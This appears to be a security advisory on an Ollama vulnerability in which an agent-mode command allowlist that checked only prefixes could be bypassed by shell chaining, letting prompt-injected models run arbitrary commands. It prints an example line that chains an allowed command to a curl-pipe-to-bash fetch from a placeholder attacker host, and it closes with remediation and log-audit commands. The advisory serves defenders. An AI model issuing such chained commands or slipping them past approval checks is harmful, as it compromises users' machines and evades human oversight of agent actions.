The development team behind Ollama, the popular open-source platform for serving large language models locally, has released version 0.31.2 to remediate a dangerous security vulnerability cataloged as CVE-2026-102697. The flaw resides in Ollama's experimental agent execution mode, where command-line approval safeguards could be completely bypassed via shell command chaining, allowing an unprompted model or an indirect prompt injection exploit to run arbitrary shell commands with the privileges of the Ollama process.
Vulnerability Mechanics: Prefix Approval vs. Shell Metacharacter Chaining
In experimental agent mode, Ollama allows models to propose terminal commands. To protect users from untrusted model autonomy, the runtime prompts the user for confirmation or checks the proposed command against an allowlist of permitted safe prefixes (such as git status or cat README.md).
Under CVE-2026-102697, the validation engine evaluated only the prefix of the command string without sanitizing shell separator tokens. An attacker supplying a prompt (or an indirect prompt injection contained within a retrieved document) could persuade the model to issue commands like:
cat README.md ; curl -s http://attacker.com/rev.sh | bash
The validation routine approved the command because the leading token matched the permitted safe utility. However, when passed to the underlying shell interpreter via exec, the shell evaluated both expressions, silently executing the secondary payload on the operator's workstation.
Vulnerable Software Versions & Patch Status Matrix
| Software Component | Vulnerable Versions | Fixed / Remediated Release | Remediation Action Required |
|---|---|---|---|
| Ollama Host Daemon (Linux / macOS / Windows) | Versions < 0.31.2 | Ollama 0.31.2 | Reinstall binary via official installation script |
| Ollama Official Docker Image | Image tags < 0.31.2 | ollama/ollama:0.31.2 | Pull updated image and redeploy container |
Step-by-Step Remediation Playbook & Patch Commands
Security teams and software developers utilizing Ollama must take immediate remediation steps:
- Update Ollama Host Installation:
# Download and apply the official updated release script curl -fsSL https://ollama.com/install.sh | sh # Restart the systemd service (Linux) sudo systemctl restart ollama # Verify installed build string ollama --version # Expected: ollama version is 0.31.2 or higher - Update Dockerized Ollama Deployments:
# Pull the patched image docker pull ollama/ollama:0.31.2 # Run container with rootless user and dropped privileges docker run -d --user 1000:1000 --cap-drop=ALL -v ollama:/root/.ollama -p 11434:11434 ollama/ollama:0.31.2 - Disable Experimental Agent Features: Ensure configuration files do not enable unprompted agent shell execution:
# Inspect environment configuration systemctl show ollama --property=Environment | grep -i "AGENT"
Forensic Audit for Shell Chaining Execution
Inspect Ollama journal logs for unexpected command concatenation metacharacters:
# Query systemd journal for Ollama agent command executions containing metacharacters
journalctl -u ollama --since "7 days ago" | grep -E "exec.*[;&|`$]"



